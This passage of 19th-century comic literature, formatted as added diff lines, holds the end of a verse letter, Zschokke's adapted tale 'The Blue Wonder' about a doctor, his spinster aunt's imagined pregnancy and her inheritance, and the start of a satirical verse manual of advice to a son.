+    They have heads, so have we!--and no tails, so have rocks!--
+    They've no red blood, like pebbles! but two eyes, like cocks!
+    Then again,--unlike Christians, with warm, "vital spark,"--
+    They are cold, so are flints! a strong circumstance--mark!
+    An argument _some_ use--there is not much in 't,
+    That stones have no skins--Hah! then what's a _skin flint_?
+    Every day, Tom, I feel more secure my position,
+    _Frogs_ are ANIMAL ROCKS _in a state of transition_!
+    If I prove this,--and savans but act with propriety,--
+    I'm sure to preside at the Royal Society!
+    Then think, Tom, the glory of Bristol! a resident
+    Elected in London, to sit as the President!
+    Hark! I hear, Tom, my unphilosophic virago
+    Of a wife! I must finish--
+                            Yours,      PETER PLUMBAGO.
+    October 14th, 1836.
+
+
+
+
+                     THE BLUE WONDER.[90]
+                     A MARRIAGE ON CREDIT.
+
+[90] This story has been adapted from the German of Zschokke.
+
+Doctor Falcon looked one way, and pretty Susan looked another, as it
+has been customary for young people to do, from the remotest antiquity.
+The doctor was a very pretty fellow, had been to two universities, had
+walked the hospitals of Vienna, Milan, and Pavia, and had learned so
+much that there was not one of his craft better able than himself to
+post his patients to a better world according to the most legitimate
+principles of the most modern systems of the medical art. But science
+such as this, is not to be acquired for nothing; it had cost our worthy
+doctor nearly every penny of his modest patrimony. "Never mind!" thought
+he to himself; "when I get home, I'll marry some rich girl or other, who
+may take a fancy to become the doctor's lady; and so both our turns will
+be served."
+
+But what are the wisest resolutions against the eloquence of a pretty
+face? Susan was as pretty as a lover could wish her; she felt the best
+disposition in the world to become a doctor's lady, but then she had no
+money.
+
+"Never mind, my dear Susan!" said the doctor, as he impressed a kiss on
+the lips of the weeping maid; "you see, a doctor must marry, else people
+have no confidence in him. You will bring me _credit_, credit will bring
+me _patients_, the patients money, and, if they should fail, we have
+good expectations. Your aunt, Miss Sarah Bugle, is forty odd, not far
+from fifty, and rich enough for the seventh part of her fortune to help
+us out of all our trouble. We may venture something upon that!"
+
+Heavens! what will a young girl not venture for her lover! Susan's
+mother had nothing to object, nor her father either, for they were both
+in heaven; and her guardian was well pleased to see his ward form a
+respectable connexion. Her aunt, Sarah, was also well-pleased, though,
+in general, she was little friendly to wedding of any kind: but, as long
+as Susan remained unmarried, she saw very clearly that she would every
+year be obliged to make some pecuniary advances to the worthy guardian;
+and Miss Sarah Bugle was rather stingy, or, as she was herself wont to
+say, "she had not a penny more than she wanted."
+
+Well: Susan became Mrs. Falcon, and the doctor looked most industriously
+out of his windows to see the customers pour into his house, on the
+strength of his increased claims to credit. They came very sparingly;
+but in their stead there appeared every year, a little merry face that
+had never been seen in the house before, to augment the parental joys
+of Doctor Falcon and his lady. Sometimes the doctor would pass his
+finger, cogitatingly, behind his left ear; but what could that avail
+him? There was no driving the little Falcons out of the nest. They could
+not cut their bread into thinner slices, for the children must live;
+but the doctress made her soups thinner. However, they all seemed to
+thrive,--father, mother, and the four little ones. They sat on wooden
+benches and straw chairs as comfortably as they could have done on
+quilted cushions; they slept soundly on hard mattresses, and wore no
+costly garments, being well contented if they could keep themselves
+neatly and respectably clad. And this was an art in which Susan was a
+perfect adept; everything in her house looked so pretty and neat, that
+you would have sworn the doctor must have been extremely well off. "How
+they manage to do it, I can't think!" Aunt Sarah would often exclaim.
+"It's a blue wonder to me!"
+
+Not that it was always sunshine: there were days when the exchequer was
+quite exhausted; and sometimes whole weeks would elapse without a single
+dollar finding its way into the house. But then it was always some
+consolation to know that Aunt Sarah was rich, and sickly, and growing
+old; and, the worse matters looked at home, the more hopeful they always
+became at the maiden's mansion.
+
+
+                           EXPECTING HEIRS.
+
+The doctor and Susan reckoned rather too confidently on the inheritance
+of the aunt; for, even supposing that the dear old lady had been so
+near to her beatification as her loving friends imagined, still it was
+matter of speculation whether her dear niece would or would not be her
+heir. The sighing pair of wedded lovers stood indeed most in need of the
+inheritance: but it so happened that there was another niece, married to
+one Lawyer Tweezer; not to speak of two nephews, the Reverend Primarius
+Bugle, and a certain doctor of philosophy of the same name. Their claims
+were all as strong as those of Susan and her husband, and all looked
+forward with equal longing to the ascension of the blessed virgin.
+
+Bugle, the philosopher, had perhaps least cause of all. He was rich
+enough; and, while enjoying the delicacies of his table, and smacking
+his lips after his Burgundy, his philosophy was perfectly edifying to
+his guests. We have a proof of his acuteness in a work of his, in five
+volumes, now forgotten, but once immortal, entitled "_The Wise Man
+surrounded by the Evils of Life_;" in which he proved that there was
+no such thing as suffering in the world; that pain of every kind was
+the mere creature of imagination; and that all a man had to do, was to
+contemplate every object on the agreeable side.
+
+Accordingly, he always contemplated his aunt on the _agreeable_, namely,
+on her _money_ side. He visited her assiduously, often invited her
+to dinner, sent her all sorts of tit-bits from his kitchen, and was
+accordingly honoured with the appellation of her "own darling nephew."
+
+He would have succeeded well enough with his philosophy, had not
+his cousin, the Reverend Primarius Bugle, by means of his theology,
+exercised great influence over the aunt. She was very pious and devout,
+contemned the vanities of the world, visited the congregations of the
+godly, in which the spiritual bugle at times was heard to utter a loud
+strain, and was mightily comforted by the visits of her reverend nephew,
+who joined her frequently in her devotions, and gave her pretty clearly
+to understand, that, without his assistance, she would find it difficult
+to prepare her soul for its future blissful abode. When, sighing and
+with weeping eyes, she would come from the edifying discourses of her
+godly nephew, she would call him the saviour of her soul, her greatest
+of benefactors, and promise to think of him in her last hour. This was
+music to the ears of the theologian. "I can scarcely fail to be the
+sole legatee," he would think to himself; "or, as our pious aunt is wont
+to say, it would be a blue wonder indeed."
+
+Nor would his calculation have been a bad one, but for his cousin Lawyer
+Tweezer; whose legal ability made him a man of great importance to the
+aunt. The chaste Sarah did indeed despise the Mammon of unrighteousness,
+and sincerely pitied the grovelling children of the world; but on that
+very account she did her best to detach them from their Mammon, or at
+least their Mammon from them, which is all the same. She lent money
+on high interest and good security, and worked so diligently for the
+salvation of those who borrowed from her, that they were always sure to
+became poorer and poorer under her ministration. "Blessed are the poor!"
+she would exclaim when they were paying her interest on interest; "if I
+could have my way, I would have the whole town poor, that they might all
+inherit the kingdom of heaven. The less people have in this world, the
+more they will long for the world to come."
+
+It would sometimes happen, however, that the pious maid was carried
+too far by her virtuous zeal for the future welfare of her neighbours;
+so that, what with her securities, and her compound interest, and the
+wickedness of her debtors, she would occasionally find herself involved
+in disputes and litigation. Without the aid of Lawyer Tweezer, who was
+universally looked on as the most cunning pettifogger in the whole town,
+she would frequently have seen interest and principal slipping through
+her fingers. But, between her piety, and his cunning and obduracy, a
+poor debtor was fain to bundle with bag and baggage out of his house,
+rather than a single guilder she had lent out, should miss its way back
+to her strong-box.
+
+"I should be a poor, forsaken, lost woman, my dearest nephew," she would
+often say to Tweezer, "if you were not there, to take my part. I may
+thank you for nearly all I have; but the time may come when I shall be
+able to repay you." This was music to the ears of the jurist. He hoped
+one day to find himself sole heir, and fancied he should he able to
+touch the right note when it came to the drawing out of the will.
+
+
+                    THE PICTURE OF THE VIRGIN.
+
+Miss Sarah Bugle, in her fits of devotion, talked much of death, and of
+her longings after the heavenly Jerusalem and her spiritual bridegroom;
+yet this did not prevent her from thinking, even more frequently still,
+of an earthly bridegroom. Since her five-and-fortieth year she indeed
+solemnly declared that she never would marry; nevertheless, she had
+her fits of maiden weakness, particularly when some stately widower
+would banter her, or some gay bachelor look up to her window as he went
+by. "I dare say he has some designs," she would then say. "Well, time
+will show; it's wrong to swear anything rashly! If it is to be,--well;
+the Lord's will be done! I'm in my best years. My namesake in the Old
+Testament was eighty when she christened her first child. It would be no
+blue wonder if it did turn out so!"
+
+Thus she would soliloquize, particularly when some single man had been
+looking kindly at her; and, as this seemed to her to be frequently the
+case, she at last came to suspect every man in the place, of "evil
+designs," as she called it, on her chaste person. At length,--for her
+imagination had been wanton with her for more than twenty years,--she
+came to look upon every single man as her silent adorer, and every
+married man as her faithless one.
+
+It may easily be conceived with what inveteracy she declaimed against
+weddings of every kind, and how bitterly she abused the whole godless,
+light-minded male sex, (for her quarrel was with the whole sex,) and
+with what transcendent venom she inveighed against the coquettish minxes
+who had the impudence to think of a man before they were out of their
+leading-strings; though these same minxes in leading-strings were all
+the while walking about in shoes such as are generally manufactured for
+damsels about to bid adieu to their teens.
+
+Some elderly maidens, pure and pious like herself, assisted her in the
+laudable occupation of prying into the domestic occurrences of the town,
+and moralising over them while sipping their coffee. In this conclave,
+every new gown, every wedding, every christening, was conscientiously
+discussed; and no time was lost in dispersing the result of their
+amiable confabulations through every corner of the town. A saucy
+sign-painter being once called on to paint a picture of the goddess
+of Fame, armed her with a bugle instead of a trumpet; and, when some
+pre-eminent piece of scandal became current, it was customary to say
+"the bugle has been sounded,"--by which it was intended to indicate the
+quarter where the report originated.
+
+If to these amiable qualities we add the extreme godliness of the chaste
+Sarah, and her invincible partiality for compound interest, it is not
+difficult to understand why, with the exception of the said ancient
+maidens and the four expecting nephews, every creature was careful to
+remain at a most respectful distance from her.
+
+
+                         THE CARES OF LIFE.
+
+She had not the least inclination to die. She was, therefore, by no
+means displeased with the competition of the four faculties, for her
+inheritance. Nobody gained by it more than herself. It brought her the
+dainties of philosophy, the consolations of religion, the protection
+of the law, and moderate doctor's bills. Doctor Falcon was as dear to
+her as the others, but not a bit more so: only when some transitory
+indisposition seemed to hint at the instability of everything human,
+the doctor never failed to become, for the time, the dearest of all her
+nephews.
+
+"Quick doctor! Pray come immediately! Miss Sarah is dying!" exclaimed
+one morning, the antiquated maid-servant of the aunt, as she popped her
+head in at the door. "My lady has been looking most wretchedly for some
+days."
+
+Falcon was sitting, when this news came, upon his unpretending sofa;
+and, with his arm round her waist, was endeavouring to console his
+weeping Susan. He knew that Miss Sarah was not likely to be very serious
+in her intentions of dying: so he promised the maid he would come
+immediately, but remained nevertheless with his wife, to console her.
+
+But he had little success this time in his attempts at consolation. Poor
+Susan wept more bitterly than ever; and the poor doctor sat beside her,
+unconscious of the cause of her tears.
+
+"Come, be open-hearted to your husband, my dearest love," he said; "you
+torture me,--you kill me,--to see you thus, while you conceal from me
+the cause."
+
+"Well, then listen to me. Oh!"
+
+"What further, my dear Susan? you said that before."
+
+"We have four children."
+
+"Ay, and the finest in the town, if I am not mistaken! They are all so
+gentle, so amiable, so----"
+
+"Oh! they are little angels."
+
+"You are right; they _are_ angels, all of them. You do not, I hope,
+grieve over the presence of the little angelic circle?"
+
+"No, my dear husband; but what is to become of the future?"
+
+"Oh, thou unbelieving Susan! Let us rely on Providence."
+
+"It is difficult for us to bring them up decently. The older they grow,
+the more they want."
+
+"They have been growing older all this while, and they have wanted for
+nothing as yet."
+
+"Ay; but, if----"
+
+"What then?"
+
+"Alas!" she sighed, and sobbed more bitterly than before.
+
+"What then?" exclaimed the doctor, with undissembled anxiety.
+
+She concealed her face in his bosom, clung to him with both her arms,
+and, in a scarcely audible whisper, said: "I am to be a mother for the
+fifth time."
+
+The papa was half inclined to cry himself at this unhoped-for
+announcement; however, he concealed his consternation as well as he
+could. "Nay, sweetheart, is that all?" he exclaimed. "Come, Susan, we
+shall have five little angels instead of four. We cannot fail to be
+happy!"
+
+"But, my dear husband, we are so very, very poor!"
+
+"The little angels will bring a blessing upon us. He who feeds the young
+ravens will also show me where to find a crumb for my little ones. Come,
+tranquillise yourself."
+
+Susan had had her cry out, and so became more tranquil, as a matter of
+course; but the doctor had found no such vent for his uneasiness. He
+walked up and down the room, looked out of the window; nothing could
+divert his thoughts.
+
+"Every year more children and less bread! Every year bigger boarders and
+thinner slices!" sighed he to himself. He would have forgotten the dying
+Miss Bugle, had not Susan reminded him that it was time to hasten to her
+death-bed.
+
+
+                        THE BLUE WONDER.
+
+He took up his hat, but he did not run. The little domestic dialogue
+still weighed on his spirits. He thought only of the small number of
+his patients, and the exhausted state of his exchequer. He drew his
+hat over his brow, and looked straight before him like a rhymester: on
+his way he saluted neither right nor left, and had nearly run down the
+superintendent-general,--a man looked upon by most people as one of the
+brightest shining lights in the church.
+
+When he arrived at his dearly-beloved aunt's, he did not, indeed, find
+her on her death-bed; but she had mounted her spectacles, and was seated
+before a large book, from which she had opened at Reflections on Death,
+and from which she was devoutly reading sundry Prayers for the Dying.
+She looked wretchedly; but it would have been difficult to say when her
+face looked anything else. Round her head she had tied one handkerchief;
+and another, which passed over her head, was fastened under her chin.
+
+"What is the matter with you?" asked the learned Doctor Falcon, as he
+laid his hat and stick aside.
+
+"The Lord knows," sighed Miss Bugle in a soft and plaintive tone; "I
+have suffered much for several days. I feel as if my hour were come; and
+that would be terrible."
+
+The doctor thoughtfully felt her pulse, and said unconsciously, half to
+himself, "It fills, with a vengeance!" All the good man's thoughts were
+at home with Susan.
+
+"I thought as much," sighed the terrified virgin. "Do you think there is
+danger, my dear Falcon?"
+
+"Not at your years," replied the doctor, scarcely knowing what he said.
+
+"Well, that is some consolation," replied the lady in a more cheerful
+tone; "in fact, I am in my best years; my strength unbroken. My
+constitution must bring me through. Don't you think so, dear Falcon?
+Only, no expensive medicines, if they can be done without. Since bark,
+rhubarb, and mixtures have been turned into colonial produce, there's no
+enduring them. The Lord be merciful to us! but really, my dear Falcon, I
+am not at all well."
+
+Our worthy aunt now gave the reins to her tongue; spoke, as she was wont
+to do, of a thousand different things, none of them in any way connected
+with her indisposition. The doctor, meanwhile, hummed a tune, and beat
+the devil's tattoo upon the table, without listening to a word of what
+the good lady was saying. At length he was beginning to lose patience.
+
+"What then _is_ the matter with you?" he exclaimed.
+
+"Oh, my appetite! I have not relished a spoonful of soup these two days.
+And then my head aches as if it would burst."
+
+"Something you have eaten has, perhaps, disagreed with you, aunt; some
+philosophical _pâté de foie gras_ may be in fault."
+
+"Gracious Heaven! no, Falcon, the stomach cannot be in fault. I live
+so simply, so frugally. Seriously, I don't think I have for several
+weeks eaten anything likely to disagree with me. But sometimes I have a
+tooth-ache, sometimes qualmishness, heartburn, vomitings--Good Heavens!
+do look at me, Falcon, and don't keep drumming upon the table so; look
+how pale I am,--how my eyes are sunk in my head: oh dear! I am certainly
+very unwell."
+
+"Well, what do I care?" said the doctor in a peevish tone: his mind
+entirely occupied by the condition of his Susan: "you're in the family
+way, that's all."
+
+"Merciful Heaven!" screamed the chaste virgin, in a voice that might
+have been heard three streets off. Merciful Heaven! that would be a blue
+wonder indeed!"
+
+A cold sweat came over the doctor as he heard these animated tones
+from the maiden lips of Miss Sarah Bugle. He immediately recollected
+that, what with ill-humour, and what with absence of mind, he had
+been betrayed into a superlatively foolish speech, and one that no
+chaste virgin was ever likely to forgive; particularly a maid who had
+triumphantly preserved her painful dignity unimpaired to her fiftieth
+year; one who never pardoned in another damsel even a gentle pressure
+of the hand; one who was neither more nor less than an immaculate
+personification of purity and sanctity; one who was, in short, that
+virgin of virgins, Miss Sarah Bugle!
+
+"I will let the storm vent itself, and seek safety in flight, before
+the neighbours come pouring in, to see what's the matter," thought the
+terrified doctor, as he opened the door and rushed into the street.
+
+
+                          ANOTHER BLUE WONDER.
+
+The other three faculties had by this time, by their jealousy, rapacity,
+and endless misrepresentations concerning each other, utterly ruined
+themselves in the good opinion of the virgin. Doctor Falcon was the
+only one who at all bore up against the sudden storm. He could not,
+for the soul of him, help laughing at his own blunder. Susan, however,
+on the following day began to reprove her husband's levity, though she
+had at first joined in the laugh at his thoughtlessness. He caught her
+in his arms, stopped her mouth with his kisses, and said, "You are
+right: I ought not to have so rudely assaulted the maiden purity of the
+heaven-devoted vestal. But, faith! when I left you yesterday, I scarcely
+knew myself which way my head was turned."
+
+"I would not say another word, my dear, if I were not convinced that you
+have offended my aunt for ever. Such affront can never be forgiven by
+so pious a maiden lady. It is ill for us, and particularly now. We have
+a long winter before us. I heat the stove so sparingly that the windows
+scarcely thaw the whole day, and yet our stock of wood is going fast,
+as you know yourself. And for our exchequer, look here!" So saying, she
+jingled a few small pieces of silver in a large purse close to his ears.
+
+A slight tap at the door, and Sarah's aged attendant entered with a
+sealed note, and an urgent request from his aunt that the doctor would
+without fail, immediately after dinner, precisely at one o'clock, favour
+her with a visit.
+
+"I shall be sure to come," said Falcon; he took the note, and dismissed
+the maid.
+
+He weighed the note in his hand, and turned jestingly to his wife.
+"Feel, Susan; it is as heavy as lead." He opened it, and, lo! in a Queen
+of Hearts sundry delicate incisions had been made, into which had been
+slipped ten new full-weighted Dutch ducats. He looked at the envelope;
+it was addressed to Dr. Falcon: there could be no mistake. Such
+unheard-of liberality on the part of the immaculate Sarah justly excited
+the amazement of the wedded pair.
+
+"Well, this is the bluest of all my aunt's blue wonders!" exclaimed
+Falcon. "Come, my pretty one; how long is it since we had such a
+treasure as this, in our house? Look! Providence watches over us and our
+children. The winter is provided for; so we'll have no more croaking.
+What! are you crying still?"
+
+"Oh!" sobbed Susan, as she threw her arms round his neck; "it's for
+joy I am crying now. But," added she in a lower tone, "I was praying
+fervently, nearly the whole night, for it was little I could sleep."
+
+Falcon clasped his wife in his arms. He said not another word for
+several minutes, but he wept inwardly; for he was unwilling that she
+should see how deeply he was affected.
+
+
+                          BLUER AND BLUER.
+
+As the clock struck one, he stood by the bedside of the aunt. With real
+emotion, with sincere gratitude, he approached her; and--he had vowed to
+Susan he would do it--impressed a fervent kiss on the benevolent hand
+that had just diffused so much joy through his little family circle.
+
+"Best of aunts!" he said, "your present of to-day has made Susan and me
+very happy."
+
+"Dear nephew," said the sick lady, in the gentlest tone of which her
+voice was capable, for it was long since her hand had been kissed so
+warmly, "I have long, very long, been your debtor."
+
+"And forgive me my rudeness of yesterday," continued the doctor.
+
+Aunt Sarah modestly covered her face with her handkerchief. After a
+while she said, but without looking at him, "Nephew, I am about to
+repose unlimited confidence in you:--my life depends on you. Can you be
+secret? Will you?"
+
+Falcon was ready to promise everything. Still the lady was not
+satisfied; she promised him her whole fortune if he would be faithful to
+her. He made the most solemn oath.
+
+"I know," said she, "that you young people are often badly enough off.
+Well, I will come and board with you; for my old maid, who has served
+me so long and so faithfully,"--here she sobbed bitterly,--"I must turn
+her away. But as long as you keep my secret, I will give you a thousand
+guilders every year for my board; and, when I die, you shall have all I
+leave behind me."
+
+The doctor fell on his knee by her bedside, and renewed his oath with
+increased solemnity.
+
+"But you must live outside the town; for I will not remain here. I will
+make you a free gift of my large house outside the gate, with the garden
+and all the grounds belonging to it. You know my house close to the
+large inn--the Battle of Aboukir; the house was left me six months ago,
+by my mother's brother, the Director of Excise."
+
+The doctor vowed with extended hand he would move into it the very next
+day, in spite of wind, frost, and snow.
+
+"As long as you keep my secret, nephew, I will pay you my board
+half-yearly in advance; and for the little expenses you will be at, in
+arranging your house for your own family and for me, you will find four
+rouleaux of dollars in the little cupboard yonder behind the door."
+
+The doctor swore all his vows of secrecy over again. She must imagine
+the day of judgment or the millennium at hand, he thought. Nothing less
+can possibly account for so sudden and miraculous a conversion.
+
+But, with all this, Sarah came no nearer than before to the confession
+of the great secret. As often as she attempted to begin, the words died
+upon her lips, and she covered her face and sobbed. These beginnings,
+and breakings off, and lamentations endured for a long time. The doctor
+rose, seated himself by the side of the bed, wiped his knees with the
+sleeve of his coat, took a pinch of snuff, and said to himself, "We may
+pump a well dry in time!; it would be hard if the lachrymal glands of an
+afflicted virgin could boast of an inexhaustible store of water."
+
+
+                         THE BLUEST OF ALL.
+
+He was in the right: when she could cry no longer, she believed she was
+recovering her Christian resolution, and said with a trembling voice,
+"Nephew, when you left me yesterday after that dreadful expression----"
+
+The doctor was about to fall once more on his knees: "Pardon the
+expression, my angelic aunt! It was----"
+
+"No, nephew; perhaps you were right."
+
+"It was an unpardonable stupidity on my part."
+
+"No, nephew; I believe you are not wrong."
+
+"Impossible, my angelic aunt!"
+
+"Alas! only too true, nephew."
+
+"Impossible, aunt! And even if--even supposing--no, aunt, you are
+certainly----"
+
+"Nephew, you are right. I ought to have been wiser at my time of life,
+you mean. You are right; but now you know all. The misfortune has
+happened. I was married,--secretly, very secretly indeed,--but all in an
+honourable way, all quite orderly. Now who'll believe me? There he lies
+dead in the Tyrol, killed by a bullet;--here are letters and vouchers.
+He is dead, and----"
+
+"Who, aunt?" exclaimed Falcon in utter amazement.
+
+"Alas! the trumpeter of the French regiment of hussars, that was
+quartered here during the summer and autumn,--God be merciful to his
+soul! He was no common trumpeter, but trumpeter to the regiment; his
+father and grandfather beat the kettledrums for many years with great
+applause. But, gracious Heaven! I could not bear to be called a hussar's
+wife; and, before he could buy his discharge, the regiment was ordered
+to march. Here I am now, a young widow, not a soul knows it, not a soul
+would believe it. It will kill me if it become known: it would be a blue
+wonder to the town. I care little for the trumpeter; but my good name is
+all in all to me."
+
+The doctor shook his head; he could scarcely recover from his surprise.
+The trumpeter had indeed been frequently seen in Miss Bugle's
+apartments; but Falcon, who had always laughed at Goethe's idea of a
+chemical elective affinity, had never dreamt of such a powerful elective
+affinity between a trumpeter and a Bugle. As to the immediate uneasiness
+of the disconsolate maid, for such the widow chose to be still called,
+he considered it groundless; but she returned such strange replies to
+his questions as to her sensations, that he began himself to have some
+suspicions. He had no difficulty now in accounting for the munificence
+of the anxious lady, who would rather have lost her life than that the
+whole town should have known that the brightest mirror of all maiden
+virtue had been dimmed and breathed upon.
+
+He now pledged his word of honour that he would keep her secret, and
+conceal her from all the world till she was able to appear again with
+safety. Till then it was to be reported that she was ill; and, under
+the plea of receiving more careful attendance, she was to live at the
+doctor's house, and break off every other intercourse.
+
+The gift of the country-house near the large hotel of the Battle of
+Aboukir was duly and legally executed; the country-house was entered
+upon in the middle of winter; the maiden matron became invisible there;
+and no one was allowed to wait on her, but Susan, whom she had herself
+initiated into her mystery.
+
+
+                            GOOD RESULTS.
+
+"Well, to be sure," she would say to Susan in her cheerful hours,--for
+it was impossible to be always in despair; and, as her niece anticipated
+all her wishes, she had never felt herself half so comfortable as in the
+bosom of this happy family,--"Well, to be sure, it is a blue wonder,
+indeed, to think that I should come to this! Who would have thought it!
+Pride goeth before destruction, and a haughty spirit before a fall. I
+believed myself too secure, and now I am chastened for my pride. Oh,
+trumpeter! trumpeter!"
+
+The event, meanwhile, had exercised a very salutary influence on the
+maiden lady. Through very fear of betraying herself to the curious
+eyes of her former companions and gossips, she weaned herself from all
+intercourse with them, and acquired a taste for more refined pleasures
+in the circle of Dr. Falcon's family. She continued, indeed, rather too
+fond of all the tittle-tattle of the town; but then she thought of her
+own weakness, and judged more charitably that of others. She became
+so indulgent, so modest, nay, so humble, that the doctor and his wife
+were completely amazed. The change of circumstances and society,--the
+heroic resolution by which she had divested herself of a part of her
+property,--the assurance of the doctor that she was still rich enough
+to live at her ease,--all this had effected so singular a change in
+her character, that she seemed to live quite in a new world. She even
+abandoned all her usurious dealings, which, to be sure, she would have
+found it difficult to continue in her present seclusion.
+
+The three faculties, meanwhile, were vomiting fire and flame. The two
+Bugles were apparently reconciled, but only that they might unite more
+vigorously in their hostility against the pettifogger, who watched
+their every step for a plausible ground of action against them. The
+philosopher wrote an excellent book against the human passions; and the
+worthy ecclesiastic delivered every Sunday most edifying discourses
+on the abomination of ingratitude, calumny, envy, evil-speaking, and
+malignity. Both did much good by their arguments, but their own gall
+became more and more bitter, every day.
+
+
+                          THE PIOUS FRAUD.
+
+The winter passed away, and was succeeded by spring. The warm days
+of summer were approaching. Dr. Falcon had very soon obtained the
+conviction that his aunt had little cause for her uneasiness. He
+had told her so, and had explained to her the real nature of her
+indisposition. In vain: the erring vestal would on no account be
+undeceived. Susan and her husband were at length obliged to desist from
+every attempt to dispel the ridiculous illusion of Aunt Sarah, who
+threatened that she should begin to doubt the doctor's friendship. She
+seldom left her bed.
+
+"She makes me uneasy," said Susan to her husband; "at times I almost
+fancy her cracked."
+
+"And she is so, in every sense of the word," said the doctor. "It is
+hypochondria,--a fixed idea. My physic is of no avail against the
+extravagancies of her imagination. I know of nothing I can do, unless it
+be to drive away one fancy by substituting another. Suppose we pass our
+child off upon her for her own."
+
+"But will she believe it?"
+
+"If she does not, it is of little consequence."
+
+After a few weeks Susan appeared no longer in Sarah's room--it had been
+so arranged by the doctor; and our aunt was informed that Susan had had
+a misfortune.
+
+"Is the child dead?" inquired Sarah.
+
+"Alas!" replied the doctor.
+
+"Alas!" rejoined the aunt.
+
+One day before daybreak, Aunt Sarah was awakened in an unusual manner.
+Her face was sprinkled with water, and strong scents were held to her
+nose, till it seemed they were going to send her out of the world by the
+very means apparently employed to bring her to life again.
+
+She opened her eyes, and saw the doctor busy with her nose.
+
+"Righteous Heaven! I am dying!--You are killing me! Nephew, nephew, what
+are you doing to my nose?"
+
+"Hush, aunt!--don't speak a word!" said the doctor with a mysterious
+look; "only tell me how you feel yourself."
+
+"Tolerably well, nephew."
+
+"You have been insensible for four hours, aunt. I was uneasy for your
+life; but it's all right now,--you are saved. A lovely child--"
+
+"How!" exclaimed Sarah, almost rubbing her nose from her face.
+
+"A sweet little boy. Do you wish to see the pretty fellow? If you will
+keep yourself tranquil, and not stir a limb, why----"
+
+"But nephew----"
+
+"I have passed it off upon every one in the house for my wife's child."
+
+"Oh, nephew! your prudence, your assistance, your counsel! Oh, you are
+an angel!"
+
+Falcon went away. Aunt Sarah trembled all over with terror and joy. She
+looked round her:--on the table were burning lights and countless phials
+of medicine were strewn around. A woman brought in the baby: it was in
+a gentle sleep. Sarah spoke not a word, but looked at it long, wept
+bitterly, kissed the little creature again and again; and, when it had
+been carried away, she said to the doctor, "It is the living picture of
+the trumpeter to the French regiment--God be merciful to him! It is his
+living picture--I say, his living picture!"
+
+
+                            CONSEQUENCES.
+
+After the prescribed number of weeks had been punctually expended in the
+consumption of gruels and broths, the chaste Sarah perfectly recovered
+her spirits, and tripped about the house more cheerful and active than
+she had been for many years before. She dandled the baby, would scarcely
+allow it out of her sight, and evidently doted on it with unbounded
+tenderness. She had been successfully cured of one ridiculous illusion,
+by one yet more ridiculous. Overflowing with gratitude, her first visit
+out of the house was to the church, and thence she proceeded to a
+lawyer to execute a deed of gift of her whole fortune to Dr. Falcon;
+renewing for herself only a large annuity by way of pocket-money.
+Between herself and the doctor, to be sure, a secret article was drawn
+up, by which he bound himself in due time to transfer half of her bounty
+to the little living picture of the regimental trumpeter.
+
+In this way, the blue wonders of Miss Sarah Bugle suddenly converted
+our Dr. Falcon into a rich man. The triumph of the medical faculty
+was irrevocably confirmed; the more furiously did law, theology, and
+philosophy rage against each other. They could not forgive one another
+the loss of the expected legacy. Dr. Falcon was readily excused, for
+he was innocent. With him, all parties were ready to renew a friendly
+intercourse, for he was now one of the wealthiest men in the town;
+and a wealthy man, or rather his money, may at times be useful to the
+philosopher as well as to the jurist: and to the theologian as much as
+to either.
+
+
+
+
+                 THE YOUTH'S NEW VADE-MECUM.
+
+            TO THE EDITOR OF BENTLEY'S MISCELLANY.
+
+Sir,--In submitting for your inspection, the poem which I now do myself
+the honour of forwarding to you, permit me to intimate to you the origin
+of its composition, and to indulge in one or two remarks.
+
+The author is a particular friend of my own; a gentleman who, marrying
+at a rather advanced stage in the journey of life, was unexpectedly
+and agreeably presented with a small earnest of posterity in the
+shape of a son. Parental feelings, like many other good things, are
+better late than never; and it has often struck me that such feelings
+are much stronger, considerably more fervent, and, indeed, a great
+deal better when they do come late. Methinks the love of grandfather,
+grandmother, uncle, great-aunt, and a whole _kit_ of cousins, is blended
+in the sexagenarian sire. It will be perceived, from the affecting
+apostrophe or invocation, that my friend commenced his poem with
+praiseworthy promptitude; and I do hope that its success will be more
+than commensurate with his expectations. The youth is now half-past six,
+in the morning of existence. I have, once only, had the pleasure of
+meeting him. He entered his father's study somewhat abruptly, mounted
+on a timber steed, which, I am advised, he is already perfectly able
+to manage; and, immediately he opened his mouth, with a raspberry-jam
+border to it, I perceived that he would, at no distant day, become not
+only a worthy member, but an undoubted ornament, of society. But this is
+from my present purpose.
+
+Your Miscellany, sir, professes to furnish materials for the amusement
+and delight of the community; and hitherto you have acted up to your
+professions. But were it not as well, allow me to suggest, that you
+should combine instruction with amusement,--that you should clear the
+heart as well as purify the liver--that you should attend to the mind
+at the same time that you tickle the midriff? You must confess, when
+I remind you of it, that the rising generation has strong claims upon
+you, which I am sure you will be anxious, and indeed most happy, to
+allow. The Youth's New Vade-Mecum, then, is a compendious manual of
+instruction, which cannot fail of becoming permanently serviceable and
+efficient. Similar although I allow it to be, in many respects, to
+certain "Guides to Youth" and "Young Man's Best Companions" which have
+been published, yet I cannot but think that the precision with which the
+precepts are laid down in it, and the judicious manner in which they are
+conveyed, must cause it very shortly to supersede all other works of the
+same nature.
+
+I enclose for your gratification the real name of the author, and I
+grant you the discretionary power of whispering it to any grateful
+parent (there may be many such) who would fain make the acquaintance and
+cultivate the friendship of their benefactor: and I have the honour to
+be, sir,           Your obedient, humble servant,
+                                                  CHARLES WHITEHEAD.
+
+
+
+
+            THE YOUTH'S NEW VADE-MECUM.
+
+    My son, whose infant head I now survey,
+    Guiltless of hair, whilst mine, alas! is grey,--
+    Whose feeble wailings through my bosom thrill,
+    And cause my heart to shake my very frill,--
+    Incline thine ear, quick summon all thy thought,
+    And take this wisdom which my love has brought:
+    Perpend these precepts; sift, compare, combine;
+    And be my brain's results transferr'd to thine.
+
+    Soon as thy judgment shall grow ripe and strong,
+    Learn to distinguish between right and wrong:
+    Yet ponder with deliberation slow,
+    Whether thy judgment be yet ripe or no;
+    For wrong, when look'd at in a different light,
+    Behold! is oft discovered to be right,
+    And _vice versâ_--(such the schoolmen's phrase)--
+    Right becomes wrong, so devious Reason's maze!
+
+    Take only the best authors' mental food,
+    For too much reading is by no means good;
+    And, since opinions are not all correct,
+    Thy books thyself must for thyself select.
+
+    Accumulate ideas: yet despise
+    Reputed wisdom,--folly oft is wise;
+    And wisdom, if the mass be not kept cool,
+    Mothers, and is the father of, a fool.
+
+    Be virtuous and be happy: good! but, stop,--
+    They sow the seed who never reap the crop;
+    For virtue oft, which men so much exact,
+    Like ancient china, is more precious crack'd;
+    And happiness, forsooth, not over-nice,
+    Sometimes enjoys a pot and pipe with vice.
+
+    Get rich; 'tis well for mind and body's health:
+    But never, never be the slave of wealth.
